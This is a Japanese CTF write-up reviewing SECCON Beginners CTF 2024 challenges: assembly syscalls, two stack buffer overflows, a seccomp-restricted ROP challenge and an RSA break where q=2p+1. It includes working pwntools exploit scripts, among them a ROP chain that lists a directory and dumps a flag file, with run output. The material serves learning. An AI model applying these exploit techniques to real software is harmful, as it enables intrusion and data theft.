SECCON Beginners CTF 2024に参加した(復習編)

SECCON Beginners CTF 2024 の本番中に見られなかったり解けなかった問題のなかで気になるものを復習。

assemble (reverse: beginner)

reverseジャンルの最初の問題。参加したときには既にACされていたので本番中に見なかった。

問題の概要

WebアプリケーションのURLが与えられるのでアクセスすると、アセンブリ言語の練習ページが開く。

Please write 0x123 to RAX!

指示に従ってアセンブリを書くとflagがもらえる。

解法

Challenge 1. Please write 0x123 to RAX!

mov rax, 0x123

Challenge 2. Please write 0x123 to RAX and push it on stack!

mov rax, 0x123
push rax

Challenge 3. Please use syscall to print Hello on stdout!

mov rax, 0x1            ; writeのシステムコール番号
mov rdi, 0x1            ; 標準出力のファイルディスクリプタ
mov rdx, 0x5            ; 文字数
mov rsi, 0x6f6c6c6548   ; "Hello"
push rsi                ; 文字列をスタックにpush
mov rsi, rsp            ; スタックポインタをロード
syscall                 ; 呼び出し

Challenge 4. Please read flag.txt file and print it to stdout!

mov rsi, 0x0                ; 終端文字
push rsi;
mov rsi, 0x7478742e67616c66 ; flag.txt
push rsi

mov rax, 0x2                ; openのシステムコール番号
mov rdi, rsp                ; ファイル名のアドレス(スタックの先頭)
mov rsi, 0x0                ; モード(O_RDONLY)
syscall

mov rdi, rax                ; ファイルディスクリプタ
mov rax, 0x0                ; readのシステムコール番号
mov rsi, rsp                ; 読み込みバッファのアドレス(スタックの先頭)
mov rdx, 0x100              ; 読み込みのサイズ
syscall

mov rdx, rax                ; 書き込みのサイズ(=読み込んだサイズ)
mov rdi, 0x1                ; 標準出力のファイルディスクリプタ
mov rax, 0x1                ; writeのシステムコール番号
mov rsi, rsp                ; 読み込みバッファのアドレス(スタックの先頭)
syscall

Challenge 4に正解するとflagを入手できる。

感想

beginner問題にしては難しい気がした。 内容はアセンブリの基礎だが、システムコール番号と引数のレジスタを調べるのが意外と難しかったり、うまくいかなかったときにデバッグしづらいのが原因かもしれない。 正解数も2番目の問題より少なくなっていた。

simpleoverflow (pwnable: beginner)

pwnableジャンルの最初の問題。

問題の概要

ncの接続先情報と実行ファイル、さらにコンパイル前のソースコード(C言語)が与えられる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

実行すると名前を聞かれ、入力するとメッセージとともに終了する

$ nc simpleoverflow.beginners.seccon.games 9000
name:takeo1116
Hello, takeo1116

You are not admin. bye

解法

10文字以上の名前を入力するとflagが出てくる。

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaa
Hello, aaaaaaaaaa

ctf4b{0n_y0ur_m4rk}

入力を受け付けるbufのサイズが10であるのに対して、read関数で0x10 = 16文字を受け取っているため、メモリ上で隣り合っているis_adminのフラグが上書きされていると考えられる。

感想

reverseの1問目と比べると非常に簡単だと思った。

simpleoverwrite (pwnable: easy)

問題の概要

ncの接続先情報と実行ファイル、さらにコンパイル前のソースコード(C言語)が与えられる。

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

実行すると入力を求められ、メッセージとともにリターンアドレスを出力して終了する。

$ nc simpleoverwrite.beginners.seccon.games 9001
input:test
Hello, test

return to: 0x7f055802d1ca

解法

ソースコードにwin関数があるので、リターンアドレスをwin関数のアドレスに書き換えることを考える。 長い文字列を入力するとBOFによってリターンアドレスが書き換えられていることがわかるので、win関数のアドレスを調べて入力するだけでよい。

$ nc simpleoverwrite.beginners.seccon.games 9001
input:abcdefghijklmnopqrstuvwxyz
Hello, abcdefghijklmnopqrstuvwxyz

return to: 0x7a79787776757473
from pwn import *

binary = ELF("./chall")
context.binary = binary

win = binary.symbols["win"]
print p64(win)
p = remote("simpleoverwrite.beginners.seccon.games",  9001)
p.recvuntil("input:")
p.sendline("a"*18 + p64(win))
p.interactive()
$ python2 exploit.py 
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/simpleoverwrite/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
\x86\x11@\x00\x00\x00\x00\x00
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

[*] Got EOF while reading in interactive
$

感想

オーソドックスな問題。

gachi-rop (pwnable: medium)

pwnableの4問目。問題名からしてROPの問題だと思われる。 ROP は以前に練習したので誰も解かなかったら行こうと思っていたが、チームメイトが解いてくれたので本番中は問題を見ていない。

問題の概要

ncの接続先情報と実行ファイルが与えられる。

実行するとメモリアドレスのようなものが表示され、名前を聞かれる。 入力するとメッセージが表示され終了する。

$ ./gachi-rop 
system@0x7f4489d67d70
Name: takeo1116
Hello, gachi-rop-takeo1116!!

解法

とりあえず、長い名前を入力すると異常終了することを確認。BOFが出来そうな感じがする。

$ ./gachi-rop 
system@0x7f19d2a53d70
Name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!!
Segmentation fault

GDBで調べたところ、25文字目以降がRET命令のリターンアドレスに上書きされるようだ。

さらに、checksecでNX enabledであることを確認(スタック領域のコードを実行できないため、shellcodeで解けない)

$ checksec --file=gachi-rop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified  Fortifiable      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   46) Symbols       No    0          2gachi-rop

ROPで解くつもりなので、rp++を使って使えそうなガジェットを探す。……が、全然なくて詰む。

$ ./rp-lin-x64 --file=gachi-rop --rop=7 | grep "pop"
0x0040116b: add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x00401168: imul ebp, dword [rdi], 0x00 ; add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x00401166: mov byte [0x00000000004040D8], 0x00000001 ; pop rbp ; ret  ;  (1 found)
0x004012ec: nop  ; pop rbp ; ret  ;  (1 found)
0x0040116d: pop rbp ; ret  ;  (1 found)
0x004012ed: pop rbp ; ret  ;  (1 found)

バイナリ自体が短いためret命令の数が少なく、raxレジスタに任意の値を入れることすら簡単にはできそうになかった。


色々な人のwriteupなどを調べたところ、この問題の構造は以下のようになっているとのことだった。

  • gachi-rop(実行ファイル)は内部で付属のlibc.so.6ファイルをロードしているので、libc.so.6ファイルからROPガジェットを取り出すことができる
  • execve, execveatシステムコールの実行が禁止されているので、簡単にはシェルを開けない
  • サーバ上に置かれているflagはファイル名が暗号化されており、ファイル名を知る必要がある

execveが禁止されていることはseccomp-toolsで確認できる

$ seccomp-tools dump ./gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

flagについては、例によってサーバが閉じてしまっているので本番と同じパス、内容でローカルに用意した(ディレクトリ名は付属のdockerfileから確認可能だが、ファイル名は分からない)

$ ls ./ctf4b/
dummy.txt  flag-40ff81b29993c8fc02dbf404eddaf143.txt

これを使ってもう一度解いてみる。


まずはflagのファイル名を知る必要があるので、OPEN->GETENTS->WRITEの3つの命令を使ってctf4bディレクトリ内のファイルを表示する。

libc.so.6ファイル上での各命令のアドレスと実行時に命令がロードされるアドレスはズレがあるため、それを補正する必要がある。 ./gachi-ropを実行するとsystem関数がロードされているアドレスが表示されるので、これとlibcファイル内のsystem関数のアドレスの差分がlibcのベースアドレスである。

このことに注意して、以下のように書いてみた。

# coding: utf-8
from pwn import *

exe = ELF("./gachi-rop")
libc = ELF("./libc.so.6")
context.binary = exe

p = process("./gachi-rop")
# gdb.attach(p)

system_addr = int(p.recvline().split(b"@")[1], 16)
libc_base_address = system_addr - libc.symbols["system"]
print(hex(libc_base_address))

pop_rax = 0x00045eb0 + libc_base_address
pop_rdi = 0x0002a3e5 + libc_base_address
pop_rsi = 0x0002be51 + libc_base_address
pop_rcx = 0x0003d1ee + libc_base_address
pop_rdx_pop_r12 = 0x0011f2e7 + libc_base_address

xchg_eax_edi = 0x0014a1b5 + libc_base_address
xchg_eax_edx = 0x001b859a + libc_base_address

mov_qword_rdi_rcx = 0x000bfc76 + libc_base_address

syscall = 0x00091316 + libc_base_address

bss_section = exe.bss()
addr_path = bss_section
addr_buffer = bss_section + 64

payload = b""

# ディレクトリのパスをBSSに書き込む
payload += flat([
    pop_rdi, addr_path,                         # 書き込むアドレスをロード
    pop_rcx, b"ctf4b/\00\00",                   # 
    mov_qword_rdi_rcx,                          # アドレスを書き込む
])

# OPEN
payload += flat([
    pop_rax, 0x2,                               # システムコール番号
    pop_rdi, addr_path,                         # ディレクトリのアドレス
    pop_rsi, 0x0,                               # O_RDONLY
    pop_rdx_pop_r12, 0x02000000, 0xDEADBEEF,    # O_DIRECTORY
    syscall,
    ])

# GETDENTS
payload += flat([
    xchg_eax_edi,                               # raxのファイルディスクリプタをrdiに
    pop_rax, 0x4e,                              # システムコール番号
    pop_rsi, addr_buffer,                       # 書き込むバッファのアドレス
    pop_rdx_pop_r12, 0x100, 0xDEADBEEF,         # 読み込むバイト数
    syscall,
    ])

# WRITE
payload += flat([
    xchg_eax_edx,                               # raxの読み込みサイズをrdxに
    pop_rax, 0x1,                               # システムコール番号
    pop_rdi, 0x1,                               # 標準出力のファイルディスクリプタ
    pop_rsi, addr_buffer,                       # 読み込むバッファのアドレス
    syscall,
    ])

p.recvuntil("Name:")
p.sendline(b"a" * 24 + payload)
p.interactive()

これを実行すると

$ python3 solve1.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './gachi-rop': pid 752553
0x75869865b000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve1.py:68: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Name:")
[*] Switching to interactive mode
 Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5Sh\x98\x86u!!
\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00.\x00\x00\x00\x00\x04\x9c\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x18\x00..\x00\x00\x00\x04L\xc8\x00\x00\x00\xd6\x03\x00\x00\x00\x00\x00\x00\x00 \x00dummy.txt\x00\x00\x00\x0\xfce\x11\x04\x00\x00\x00\x00\x00\x00\x00@\x00flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00\[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 752553)
[*] Got EOF while sending in interactive

となり、flag-40ff81b29993c8fc02dbf404eddaf143.txtというファイル名が見えている。

これでflagのファイル名が分かった(という体)ので、今度はOPEN->READ->WRITEを使って中身を表示すればOK。 これはassemble(reverseの1問目)でやったことと同じである。

payload = b""

# ファイルパスをBSSに書き込む
path = b"ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt\00"
for idx in range(6):
    partial_path = path[idx*8:idx*8+8]          # 8バイトずつ
    payload += flat([
        pop_rdi, addr_path + idx*8,
        pop_rcx, partial_path,
        mov_qword_rdi_rcx,
    ])

# OPEN
payload += flat([
    pop_rax, 0x2,                               # システムコール番号
    pop_rdi, addr_path,                         # ファイルのアドレス
    pop_rsi, 0x0,                               # O_RDONLY
    syscall,
    ])

# READ
payload += flat([
    xchg_eax_edi,                               # raxのファイルディスクリプタをrdiに
    pop_rax, 0x0,                               # システムコール番号
    pop_rsi, addr_buffer,                       # 書き込むバッファのアドレス
    pop_rdx_pop_r12, 0x100, 0xDEADBEEF,         # 読み込みのサイズ
    syscall,
    ])

# WRITE
payload += flat([
    xchg_eax_edx,                               # raxの読み込みサイズをrdxに
    pop_rax, 0x1,                               # システムコール番号
    pop_rdi, 0x1,                               # 標準出力のファイルディスクリプタ
    pop_rsi, addr_buffer,                       # 読み込むバッファのアドレス
    syscall,
    ])

上のpayloadを使って実行すると、無事flagの中身を見ることができた。

$ python3 solve2.py
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/gachi-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './gachi-rop': pid 753080
0x7854d3faa000
/mnt/c/Users/takeo-win11/Desktop/secconforb2024/gachi-rop/solve2.py:70: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Name:")
[*] Switching to interactive mode
 Hello, gachi-rop-aaaaaaaaaaaaaaaaaaaaaaaa\xe5C\xfd\xd3Tx!!
ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}[*] Got EOF while reading in interactive
$
[*] Process './gachi-rop' stopped with exit code -11 (SIGSEGV) (pid 753080)
[*] Got EOF while sending in interactive

感想

普通にライブラリ周りの知識が抜けていた。 他の人のwriteupを見ると洗練された書き方などが分かるので役に立つ。

Safe Prime (crypto: beginner)

cryptoジャンルの1問目。 いままでのコンテストではcryptoはすべて他の人に任せていたので、入門として自分でも解いてみることにした。

問題の概要

pythonのスクリプトが与えられる。

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

さらに、テキストファイルが同梱されている

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

RSA暗号について

そもそもRSA暗号のことをよく分かってないので調べに行く。

  1. 2つの素数p, qを用意して、n=p\times qとする
  2. \phi(n) = (p-1)(q-1)を計算する
  3. \phi(n)と互いに素な数eを設定し、e\times d\equiv 1 \mod \phi(n)となるようなdを計算する

ここで、公開鍵は (e, n)であり、秘密鍵は (d, n)となる。

平文Mがあるとき、暗号文 Cは

C={M}^{e}\mod n と計算され、逆に

{C}^{d}\mod n = {M}^{e\times d} \mod n = M で復号できる。

RSA暗号はnの素因数分解が非常に難しいという事実によって安全性を担保しており、もし攻撃者によってp, qが知られてしまうと簡単に秘密鍵dを計算され、復号されてしまう。

解法

この問題では2つの素数にp, 2p+1という関係性があり、さらにそのことが攻撃者に知られているという状況が通常と異なる点である。

この状況下ではn=p(2p+1)=2{p}^{2}+pであり、二分探索することで現実的な時間でpを求めることが可能である。

pが分かったらqが分かるので\phi(n)が計算でき、


e\times d \equiv 1 \mod \phi(n) \
\iff ed = k\phi(n) + 1
\iff de - k\phi(n) = 1

かつ GCD(e, \phi(n)) = 1より拡張ユークリッドの互除法を用いて(d, k)を求められる。

# coding: utf-8

e = 65537
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

# 二分探索
# n = p * (2p+1)
leq, gt = 2, int(1e300)
while gt - leq > 1:
    p = (leq + gt) // 2
    if p * (2*p+1) <= n:
        leq = p
    else:
        gt = p

p = leq
q = 2 * p + 1

print(f"p = {p}") 
print(f"q = {q}")

phi = (p - 1) * (q - 1)

# 拡張ユークリッドの互除法
def exteuc(a, b):
    if b == 0:
        return 1, 0
    else:
        x, y = exteuc(b, a%b)
        return y, x - a // b * y

# de - kφ = 1
d, mk = exteuc(e, phi)
print(f"d = {d}")

m = pow(c, d, n)
print(m.to_bytes(61, "big"))
$ python3 solve.py 
p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = 24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787
d = 39708359129641443307492926100992797066513141179030677891758514628508737985246704498466008928936892308997404004807565975772999777485812695283579245196783778323738791447502633741922324004329254388584281471915351492843056669699641816744092900248208019906808318158844028513688595509549095747037229327819378712257
b'ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}'

感想

普通に勉強になる。 競プロっぽい知識を意外と忘れていることに気づく。